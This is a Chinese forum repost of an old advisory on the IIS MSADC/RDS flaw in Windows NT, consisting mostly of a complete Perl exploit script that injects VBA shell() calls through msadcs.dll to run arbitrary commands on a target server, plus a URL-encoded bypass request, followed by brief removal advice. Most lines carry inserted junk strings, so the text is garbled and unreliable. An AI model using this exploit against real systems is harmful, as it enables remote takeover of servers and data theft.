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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 1V ; ,ZGI*  
7QHrb'c  
涉及程序: o.])5i_HV  
Microsoft NT server 2Y%E.){  
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描述: .>@]Im  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 D>K=D"  
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详细: A<{&?_U  
如果你没有时间读详细内容的话,就删除: p~dj-w  
c:\Program Files\Common Files\System\Msadc\msadcs.dll X,`e1nsR  
有关的安全问题就没有了。 )<_:%oB  
wg|/-q-  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 WR}<^a x  
E*8).'S%k  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 4?l:.\fB:  
关于利用ODBC远程漏洞的描述,请参看: XvkFP'%i/  
c)zwyBz  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Z)G@ahO Q  
`,)%<}  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 M$2lK^2L  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp @T~~aQFk  
r8Z} mvLM  
这里不再论述。 'Jl73#3  
Kj* $'('  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: YT)@&HaF  
lVS.XQ2<  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 'E%+ O  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! %Sw hNn  
DTC OhUIV  
m]/s R3yF  
#将下面这段保存为txt文件,然后: "perl -x 文件名" M(<.f}yZQ  
n4/Jx*  
#!perl hmJa1fw=  
# _yc &'Wq  
# MSADC/RDS 'usage' (aka exploit) script ? 9;r|G  
# g UA_&_  
# by rain.forest.puppy [u7i)fn5?  
# AI2@VvB  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Kl w9  
# beta test and find errors! P yN{  
zE]h]$oi  
use Socket; use Getopt::Std; =Y-mc#{8  
getopts("e:vd:h:XR", \%args); b!z kQ?h  
>e QFY^d5  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; O8 5)^  
Y$ '6p."=  
if (!defined $args{h} && !defined $args{R}) { X!f` !tZ:{  
print qq~ 9oxn-)6JC  
Usage: msadc.pl -h <host> { -d <delay> -X -v } $'Qv {  
-h <host> = host you want to scan (ip or domain) &#<>fT_  
-d <seconds> = delay between calls, default 1 second i>z {QE  
-X = dump Index Server path table, if available 3Hkb)Wu  
-v = verbose _r vO#h  
-e = external dictionary file for step 5 kTm>`.kKJ=  
tQcn%CK  
Or a -R will resume a command session 3/4r\%1b+  
<6!/B[!O=  
~; exit;} X5c)T}pyv  
6|]e}I@<2  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; WXCZ }l  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} | gP%8nh'C  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Oi\,clR^[o  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); G*rlU  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} swG!O}29OX  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 2q%vd =T  
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if (!defined $args{R}){ $ret = &has_msadc; dR >hb*k J  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} yIma7H@=L  
E>k!d'+tb  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" `*--vSi  
. "cmd /c "; I.u[9CI7HU  
$in=<STDIN>; chomp $in; NnqAr ,  
$command="cmd /c " . $in ; Ae>:i7.V  
x^/453Lk  
if (defined $args{R}) {&load; exit;} ?m dGMf)  
5ii:93Hlj  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; '*n2<y  
&try_btcustmr; )jed@?  
3Jw}MFFV  
print "\nStep 2: Trying to make our own DSN..."; ~a` vk@8  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; eX <@qa4<  
$Ce;}sM  
print "\nStep 3: Trying known DSNs..."; |TCg`ZS`cZ  
&known_dsn; jT1^oXn@  
BHJS.o*j~  
print "\nStep 4: Trying known .mdbs..."; uui3jZ:  
&known_mdb; ,w0Io   
lW3wmSWn%  
if (defined $args{e}){ _?a.S8LxJZ  
print "\nStep 5: Trying dictionary of DSN names..."; :x36Z4:  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } eWTbHF  
Qs;MEt1  
print "Sorry Charley...maybe next time?\n"; QLOcgU^  
exit; Q'Vejz/  
[ .c'22R6  
############################################################################## AMc`qh  
y~;w`5;|  
sub sendraw { # ripped and modded from whisker 8&UwnEk<  
sleep($delay); # it's a DoS on the server! At least on mine... %2<u>=6byG  
my ($pstr)=@_; SX@zDuM  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || |oV_7%mlu  
die("Socket problems\n"); B%/N{i*Z  
if(connect(S,pack "SnA4x8",2,80,$target)){ )9z3T>QW  
select(S); $|=1; .|<+-Rsj  
print $pstr; my @in=<S>; _X]S`e1F  
select(STDOUT); close(S); Vl%jpjqP  
return @in; (v1~p3H  
} else { die("Can't connect...\n"); }} oO][X  
AIw<5lW  
############################################################################## %mMPALN]{  
:V^|}C#  
sub make_header { # make the HTTP request B),Z*lpC  
my $msadc=<<EOT {x<yDDIv_  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 0:q R,NW^#  
User-Agent: ACTIVEDATA Z$:iq  
Host: $ip Wd]MwDcO  
Content-Length: $clen *1CZRfWI  
Connection: Keep-Alive vDcYz,  
JFh_3r'  
ADCClientVersion:01.06 zb& 3{,  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 |7%#z~rT  
<-F[q'!C1  
--!ADM!ROX!YOUR!WORLD! J:oAzBFpA  
Content-Type: application/x-varg a474[?  
Content-Length: $reqlen ,'>O#kD  
M*7:-Tb]C  
EOT HAc1w]{(  
; $msadc=~s/\n/\r\n/g; q-TDg0  
return $msadc;} ,BE4z2a  
%rq/&#jC  
############################################################################## %3mh'Z -[f  
d{*e0  
sub make_req { # make the RDS request )T!3du:M  
my ($switch, $p1, $p2)=@_; l&oc/$&|[  
my $req=""; my $t1, $t2, $query, $dsn; POt 8G  
10W6wIqK  
if ($switch==1){ # this is the btcustmr.mdb query C7xmk;c w  
$query="Select * from Customers where City=" . make_shell(); OGAC[s~V  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . B8.uzX'p  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 6uKS!\EY|  
k07pI<a?  
elsif ($switch==2){ # this is general make table query <_~e/+_.  
$query="create table AZZ (B int, C varchar(10))"; F7IZ;4cp  
$dsn="$p1";} Q+a"Z^Z|  
[ %6(1$Ih  
elsif ($switch==3){ # this is general exploit table query :FX|9h  
$query="select * from AZZ where C=" . make_shell(); O7lFg;9c`  
$dsn="$p1";} a+P Vi  
vz3#.a~2  
elsif ($switch==4){ # attempt to hork file info from index server ?yy,3:  
$query="select path from scope()"; -SN6&-#c_  
$dsn="Provider=MSIDXS;";} "ot# g"  
QI*<MF,1  
elsif ($switch==5){ # bad query ,WQg.neOA  
$query="select"; v]X*(e  
$dsn="$p1";} K410.o/=-  
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$t1= make_unicode($query); h"t\x}8qq  
$t2= make_unicode($dsn); vk.P| Y-;  
$req = "\x02\x00\x03\x00"; VQl(5\6O  
$req.= "\x08\x00" . pack ("S1", length($t1)); h@%a+6b?  
$req.= "\x00\x00" . $t1 ; I@q(P>]X9  
$req.= "\x08\x00" . pack ("S1", length($t2)); LGT?/ gup  
$req.= "\x00\x00" . $t2 ; 'ocPG.PaU  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; OmLe+,7'  
return $req;} *:V+whBY  
Z,7VOf6g  
############################################################################## ]oxi~TwY^  
M*2 Nq=3  
sub make_shell { # this makes the shell() statement (Fs{~4T  
return "'|shell(\"$command\")|'";} J+r:7NvZ  
%3@-. =  
############################################################################## tZan1C%p>  
<BjrW]pM  
sub make_unicode { # quick little function to convert to unicode ][`%vj9r  
my ($in)=@_; my $out; E_T!|Q.  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } @^Yr=d ba  
return $out;} a9y+FCA  
t$g@+1p4  
############################################################################## 3 @%XR8ss  
D-4{9[  
sub rdo_success { # checks for RDO return success (this is kludge) f[wxt n'r  
my (@in) = @_; my $base=content_start(@in); 6os{q`/Q])  
if($in[$base]=~/multipart\/mixed/){ ($'5xPb  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ]-cSTtO  
return 0;} Kjt\A]R%  
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############################################################################## tR(nD UHV5  
~Xz?H=}U+  
sub make_dsn { # this makes a DSN for us p((a(Q/  
my @drives=("c","d","e","f"); -_ <z_IL\%  
print "\nMaking DSN: "; qylI/,y{  
foreach $drive (@drives) { OxqkpK&  
print "$drive: "; SVBo0wvz-  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . U X%J?;g  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Fs&r ^ [/b  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); t^~Qv  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; FaQc@4%o  
return 0 if $2 eq "404"; # not found/doesn't exist uYC1}Y5N  
if($2 eq "200") { _ o.j({S  
foreach $line (@results) { L :Ldk  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 4d\V=_);r  
} return 0;} `k`P;(:  
Y&-% N  
############################################################################## ]i\;#pj}  
(nAL;:$x2  
sub verify_exists { z]R%'LGu  
my ($page)=@_; vwAtX($  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Q) =LbR{#  
return $results[0];} 8]Q#P  
_{/[&vJ  
############################################################################## Ug\$Ob5=q  
XIn,nCY;  
sub try_btcustmr { %Ni"*\  
my @drives=("c","d","e","f"); 5GbC}y>  
my @dirs=("winnt","winnt35","winnt351","win","windows"); m UUNR,  
t~|J2*9l  
foreach $dir (@dirs) { iFnD`l 6)  
print "$dir -> "; # fun status so you can see progress BhhFij4  
foreach $drive (@drives) { &%m%b5  
print "$drive: "; # ditto es<8"CcP  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; :l&Yq!5  
$reqlenlen=length( "$reqlen" ); @Gt.J*!s/  
$clen= 206 + $reqlenlen + $reqlen; psUT2  
ih-J{1  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); jl5&T{z  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} )Z)Gb~G  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} LGK@taw^  
_!,Ees=b  
############################################################################## L~AU4Q0o  
"SRS{-p0  
sub odbc_error { aK/fZ$Qc  
my (@in)=@_; my $base; 9{ #5~WP  
my $base = content_start(@in); N&^zXY  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this p<3<Zk 7~0  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; aa" 3 Io  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; zd/kr  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; me@)kQ8M  
return $in[$base+4].$in[$base+5].$in[$base+6];} DTG-R>y^  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Jj?HOtaM  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . O]' 2<;  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} RL3*fRlb  
;Y0M]pC  
############################################################################## ~r~YR=  
iBI->xU[U  
sub verbose { sNM ]bei  
my ($in)=@_; ~d\^ynQ  
return if !$verbose; No`*->R  
print STDOUT "\n$in\n";} hZlHY9[t?  
B<i(Y1n[  
############################################################################## #p"$%f5Q_  
FzNj':D  
sub save { d0-4KN2  
my ($p1, $p2, $p3, $p4)=@_; W^)mz,%x  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; CK1A$$gnz  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; uehu\umt=  
close OUT;} 5RAhm0Op~.  
^`k;~4'd  
############################################################################## 3?&v:H  
Vl;zd=  
sub load { 5z =}o/?  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; I]hjv  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); U p6OCF  
@p=<IN>; close(IN); NfnPXsad  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); @T:J<,  
$target= inet_aton($ip) || die("inet_aton problems"); VXW*LEk  
print "Resuming to $ip ..."; `!$6F:d_l  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Q-rG~O9-  
if($p[1]==1) { +(PUiiP'"v  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; lrj&60R`w  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; bv VkN  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); < Sgc6>)  
if (rdo_success(@results)){print "Success!\n";} &>]U c%JK  
else { print "failed\n"; verbose(odbc_error(@results));}} 6~Dyr82"B  
elsif ($p[1]==3){ * V7mM?  
if(run_query("$p[3]")){ Yxbg _RQm  
print "Success!\n";} else { print "failed\n"; }} T*%rhnTv0  
elsif ($p[1]==4){ eh> |m> JY  
if(run_query($drvst . "$p[3]")){ r}es_9*~Z  
print "Success!\n"; } else { print "failed\n"; }} ?|98Y"w  
exit;} (~o"*1fk>  
M[~{!0Uz g  
############################################################################## P;o  {t  
JsNj!aeU%  
sub create_table { qS9<_if2  
my ($in)=@_; 1y\bJ  
$reqlen=length( make_req(2,$in,"") ) - 28; 3&CV!+z  
$reqlenlen=length( "$reqlen" ); :;eQ*{ `\  
$clen= 206 + $reqlenlen + $reqlen; :P/VBXh  
my @results=sendraw(make_header() . make_req(2,$in,"")); :9av]Yv&  
return 1 if rdo_success(@results); cc3B}^@p=  
my $temp= odbc_error(@results); verbose($temp); ]A5Y/dd  
return 1 if $temp=~/Table 'AZZ' already exists/; >KL=(3:":p  
return 0;} Hqs!L`oW)  
BGxwPJd  
############################################################################## ~^jPE)  
q/@+.q  
sub known_dsn { $}{[_2  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Vjs'|%P7  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", n~]"sTC}&  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", &bz% @p;  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); }I-nT!D'y  
g(W+[kj)  
foreach $dSn (@dsns) { tjt^R$[@  
print "."; pS |K[:5  
next if (!is_access("DSN=$dSn")); 9TQVgkW  
if(create_table("DSN=$dSn")){ |9=A"092{  
print "$dSn successful\n"; &+&@;2  
if(run_query("DSN=$dSn")){ LRts W(A/  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !^&VZh  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 9 :Oz-b  
f}"eN/T  
############################################################################## 3>^]r jFw  
2|=hF9  
sub is_access { PPH;'!>s"  
my ($in)=@_; ch :rAx  
$reqlen=length( make_req(5,$in,"") ) - 28; Sc/l.]k+  
$reqlenlen=length( "$reqlen" ); u*): D~A  
$clen= 206 + $reqlenlen + $reqlen; }6!/Nb  
my @results=sendraw(make_header() . make_req(5,$in,"")); kl]MP}wc  
my $temp= odbc_error(@results); h x&"fe  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); |T@SlNi]  
return 0;} ,}&TZkN{-  
v@tEHRadz  
############################################################################## gT0yI ;g]  
:;.^r,QAI  
sub run_query { D\b$$z]q  
my ($in)=@_; E r%&y  
$reqlen=length( make_req(3,$in,"") ) - 28; )ds]fvMW]N  
$reqlenlen=length( "$reqlen" ); :ujpLIjvVG  
$clen= 206 + $reqlenlen + $reqlen; 2H}y1bkW  
my @results=sendraw(make_header() . make_req(3,$in,"")); Vj9X6u}{  
return 1 if rdo_success(@results); \c CH/  
my $temp= odbc_error(@results); verbose($temp); %jy$4qAf%  
return 0;} ^h$*7u"^y  
]t~.?)Ad+2  
############################################################################## SMD*9&,  
[U/h'A.j  
sub known_mdb { v:/\; 2  
my @drives=("c","d","e","f","g"); NI#]#yM+  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Fz';H  
my $dir, $drive, $mdb; "A"YgD#t  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Qy0w'L/@  
bf0,3~G,P  
# this is sparse, because I don't know of many F5RL+rU(h  
my @sysmdbs=( "\\catroot\\icatalog.mdb", T>'O[=UWh  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ,wes*  
"\\system32\\certmdb.mdb", ^n0;Q$\  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% <O 0Q]`i  
Rlk3AWl2u  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", V%s7*`U  
"\\cfusion\\cfapps\\forums\\forums_.mdb", )f|`mM4DW!  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", j!>P7 8  
"\\cfusion\\cfapps\\security\\realm_.mdb", OyVP_Yx,V  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Lo1ySLo$G  
"\\cfusion\\database\\cfexamples.mdb", MGsQF#6]  
"\\cfusion\\database\\cfsnippets.mdb", 05R"/r*  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", myR{ }G  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", lQ`=PFh  
"\\cfusion\\brighttiger\\database\\cleam.mdb", dh7`eAMY   
"\\cfusion\\database\\smpolicy.mdb", zUL,~u  
"\\cfusion\\database\cypress.mdb", QF/_?Tm4  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", /HLI9  
"\\website\\cgi-win\\dbsample.mdb", sFz0:SqhE  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 3?a`@C&x  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" HTT&T9]  
); #these are just dhob]8b  
foreach $drive (@drives) { IZj`*M%3  
foreach $dir (@dirs){ olv?$]  
foreach $mdb (@sysmdbs) { iW(LD1~7  
print "."; `!Z?F]):G  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ <`uu e  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; [oV M9 Q  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Pd~=:4  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; zp;!HP;/=  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 1*u]v{JJ(  
7Dbm s(:(  
foreach $drive (@drives) { ]|tg`*l!>  
foreach $mdb (@mdbs) { O*l,&5  
print "."; }x`Cnn  
if(create_table($drv . $drive . $dir . $mdb)){ @@H_3!B%4v  
print "\n" . $drive . $dir . $mdb . " successful\n"; B4RrUA32  
if(run_query($drv . $drive . $dir . $mdb)){ PM[_0b  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ?h&XIM(  
} else { print "Something's borked. Use verbose next time\n"; }}}} 5<dg@,\  
} MSQ^ovph  
]nUrE6  
############################################################################## g~y0,0'j1\  
~^' ,4<K-}  
sub hork_idx { F]yB=  
print "\nAttempting to dump Index Server tables...\n"; !92e$GJ} ;  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 6/S. sj~  
$reqlen=length( make_req(4,"","") ) - 28; y|ZL< L  
$reqlenlen=length( "$reqlen" ); #j~FlY5  
$clen= 206 + $reqlenlen + $reqlen; }8x+F2i  
my @results=sendraw2(make_header() . make_req(4,"","")); "a)6g0gw  
if (rdo_success(@results)){ " _2 k 3  
my $max=@results; my $c; my %d; y<Q"]H.CkQ  
for($c=19; $c<$max; $c++){ uVn"L:_  
$results[$c]=~s/\x00//g; Ah wi  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; RH;ulAD6(~  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; \s&Mz;:  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; -p_5T*R  
$d{"$1$2"}="";} A+RW=|:  
foreach $c (keys %d){ print "$c\n"; } UmWXv#q\l  
} else {print "Index server doesn't seem to be installed.\n"; }} /%&  d:  
^1.*NG8  
############################################################################## m}wn+R  
T06(Q[)  
sub dsn_dict { Q 84t=  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); (p%|F`  
while(<IN>){ pz /[ ${X  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 7?=^0?a  
next if (!is_access("DSN=$dSn")); XG.[C>  
if(create_table("DSN=$dSn")){ V+"%BrM  
print "$dSn successful\n"; '%rT]u3U  
if(run_query("DSN=$dSn")){ pr#%VM[':R  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { WT ;2aS:  
print "Something's borked. Use verbose next time\n";}}} SUUNC06V  
print "\n"; close(IN);} o4kLgY !Q  
&" t~d}Rg  
############################################################################## nXRa_M(z8  
L5FOlzn  
sub sendraw2 { # ripped and modded from whisker 1p. c6[9 -  
sleep($delay); # it's a DoS on the server! At least on mine... QgqJ #  
my ($pstr)=@_; 8D )nM|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || C>+n>bH]L  
die("Socket problems\n"); ,~d0R4)  
if(connect(S,pack "SnA4x8",2,80,$target)){ N@c G jpQ  
print "Connected. Getting data"; +-<G(^  
open(OUT,">raw.out"); my @in; <}RI<96  
select(S); $|=1; print $pstr; n>ui'}L  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} TF/NA\0c$  
close(OUT); select(STDOUT); close(S); return @in; H]/ ~ #a  
} else { die("Can't connect...\n"); }} 031"D*W'i  
{Ge{@1  
############################################################################## UN.;w3`Oc  
{1Ra |,;  
sub content_start { # this will take in the server headers  B(;MI`  
my (@in)=@_; my $c; ?@G s7'  
for ($c=1;$c<500;$c++) { ,>-D xS  
if($in[$c] =~/^\x0d\x0a/){ blgA`)GI  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 27D*FItc  
else { return $c+1; }}} g3$'G hf  
return -1;} # it should never get here actually !{jw!bB  
ez'NHodwk2  
############################################################################## MV"n{1B  
N55F5  
sub funky { uB  I/3aQ  
my (@in)=@_; my $error=odbc_error(@in); !XtG6ON=  
if($error=~/ADO could not find the specified provider/){ #%;Uh  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; .]vb\NBK7  
exit;} 3}H{4]*%_  
if($error=~/A Handler is required/){ ;_bRq:!j;  
print "\nServer has custom handler filters (they most likely are patched)\n"; $ ZI ]  
exit;} o`S``?`^)^  
if($error=~/specified Handler has denied Access/){ PeIx41. +s  
print "\nServer has custom handler filters (they most likely are patched)\n"; f]/2uUsg %  
exit;}} {1SsH ir>  
dS6 $  
############################################################################## TGF$zvd  
[K3 te  
sub has_msadc { ev$:7}h=  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); F\D iT|?}  
my $base=content_start(@results); VP#KoX85  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); C.S BJ  
return 0;} MI `qzC*%  
w6V/Xp][U  
######################## nc;e NB  
C1D:Xi-  
y47N(;vy  
解决方案: ;g!rc#z2g  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll =VD],R)  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 JUr t %2  
,4Q4{Tx  
拿出来充数 哈哈
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